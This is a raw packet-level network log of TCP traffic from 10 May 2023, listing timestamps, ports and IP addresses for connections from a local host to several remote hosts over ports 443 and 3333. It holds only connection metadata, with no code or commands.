May 10, 2023 02:21:18.045165062 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.045433044 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.045468092 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.045485020 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.045494080 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.045512915 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.045531034 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.058831930 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.058868885 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.058907032 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.058917046 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.058948994 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.058969975 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.059176922 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.059212923 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.059240103 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.059252024 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.059303999 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.059322119 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.059629917 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.059664965 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.059699059 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.059714079 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.059740067 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.059766054 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.060167074 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.060204029 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.060233116 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.060245037 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.060273886 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.060301065 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.060720921 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.060755968 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.060785055 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.060797930 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.060827971 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.060852051 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.061265945 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.061304092 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.061341047 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.061350107 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.061395884 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.061809063 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.061842918 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.061863899 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.061872959 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.061888933 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.061909914 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.062340021 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.062376976 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.062395096 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.062402964 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.062447071 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.062897921 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.062947989 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.062953949 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.062963009 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.062998056 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.063410997 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.063447952 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.063473940 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.063483000 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.063509941 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.063524008 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.068231106 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.068283081 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.068341970 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.068355083 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.068386078 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.068408012 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.068779945 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.068819046 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.068856955 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.068872929 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.068888903 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.068917036 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.069308996 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.069350958 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.069417953 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.069434881 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.069492102 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.086191893 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.086230040 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.086296082 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.086316109 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.086345911 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.086369038 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.088690042 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.088726044 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.088777065 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.088788986 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.088829041 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.089037895 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.089073896 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.089102983 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.089113951 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.089131117 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.089149952 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.089462996 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.089498043 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.089525938 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.089538097 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.089557886 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.089577913 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.089873075 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.089910984 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.089940071 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.089948893 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.089987040 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.090270042 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.090305090 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.090336084 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.090343952 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.090387106 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.090410948 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.090605974 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.090641975 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.090671062 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.090681076 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.090709925 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.090739965 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.090965033 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.091000080 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.091057062 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.091065884 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.091109037 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.091352940 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.091387987 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.091437101 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.091444969 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.091494083 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.092664003 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.092700958 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.092781067 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.092792988 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.092852116 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.093126059 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.093163013 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.093168020 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.093219042 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.093225002 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.093272924 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.093564034 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.093600035 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.093647003 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.093655109 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.093688011 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.093709946 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.094114065 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.108901978 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.108941078 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.109087944 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.109103918 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.109200001 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.114231110 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.114270926 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.114363909 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.114379883 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.114455938 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.114790916 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.114830971 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.114923000 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.114932060 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.114979029 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.115237951 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.115272999 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.115312099 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.115319014 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.115344048 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.115366936 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.115675926 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.115711927 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.115742922 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.115751028 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.115781069 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.115803003 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.116113901 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.116151094 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.116178989 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.116187096 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.116209030 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.116231918 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.116537094 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.116573095 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.116602898 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.116611004 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.116638899 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.116660118 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.116996050 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.117032051 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.117064953 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.117073059 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.117110968 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.117420912 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.117460012 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.117491007 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.117499113 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.117517948 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.117533922 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.117815971 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.117851019 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.117892981 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.117901087 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.117913008 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.117964029 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.118256092 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.118290901 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.118316889 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.118324995 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.118357897 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.118674040 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.118710995 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.118740082 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.118746996 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.118767977 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.118792057 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.131161928 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.131201029 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.131282091 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.131297112 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.131362915 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.136456966 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.136496067 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.136563063 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.136571884 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.136621952 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.136646986 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.142704010 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.142741919 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.142815113 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.142827034 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.142882109 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.143219948 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.143256903 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.143287897 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.143296003 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.143316984 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.143347025 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.143757105 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.143794060 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.143829107 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.143836975 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.143872976 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.143898964 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.144227982 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.144268036 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.144299984 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.144308090 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.144359112 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.144721985 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.144757986 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.144804955 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.144813061 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.144864082 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.145251989 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.145289898 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.145327091 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.145334959 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.145382881 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.145747900 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.145782948 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.145812035 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.145822048 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.145839930 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.145857096 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.146258116 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.146292925 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.146320105 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.146327019 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.146353960 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.146373034 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.146750927 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.146785975 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.146812916 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.146821022 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.146855116 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.147258043 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.147294044 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.147321939 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.147329092 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.147347927 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.147365093 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.147770882 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.147805929 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.147833109 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.147840977 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.147871017 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.147891998 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.153830051 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.153882027 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.153922081 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.153927088 CEST	443	49703	116.203.249.172	192.168.2.3
May 10, 2023 02:21:18.153965950 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.159292936 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:18.163564920 CEST	49703	443	192.168.2.3	116.203.249.172
May 10, 2023 02:21:25.172509909 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.172560930 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.172640085 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.244057894 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.244144917 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.300221920 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.309134007 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.309173107 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.310472012 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.310566902 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.336961985 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.337343931 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.337416887 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.337440014 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.513789892 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.620198011 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.620340109 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.620439053 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.620805025 CEST	49704	443	192.168.2.3	172.67.34.170
May 10, 2023 02:21:25.620842934 CEST	443	49704	172.67.34.170	192.168.2.3
May 10, 2023 02:21:25.773935080 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:25.774013996 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:25.774209976 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:25.820806980 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:25.820844889 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:26.298649073 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:26.303139925 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:26.303188086 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:26.304666042 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:26.304814100 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:26.307589054 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:26.307744026 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:26.307833910 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:26.307852983 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:26.418461084 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:26.977361917 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:26.977576971 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:26.977693081 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:26.977914095 CEST	49705	443	192.168.2.3	185.199.108.133
May 10, 2023 02:21:26.977950096 CEST	443	49705	185.199.108.133	192.168.2.3
May 10, 2023 02:21:27.128381014 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:21:27.148344994 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:21:27.148614883 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:21:27.149799109 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:21:27.169887066 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:21:27.170131922 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:21:27.223150015 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:21:35.216963053 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:21:35.411365032 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:21:40.271996975 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:21:40.411752939 CEST	49706	3333	192.168.2.3	141.94.96.144
May 10, 2023 02:21:47.161500931 CEST	3333	49706	141.94.96.144	192.168.2.3
May 10, 2023 02:21:47.224788904 CEST	49706	3333	192.168.2.3	141.94.96.144
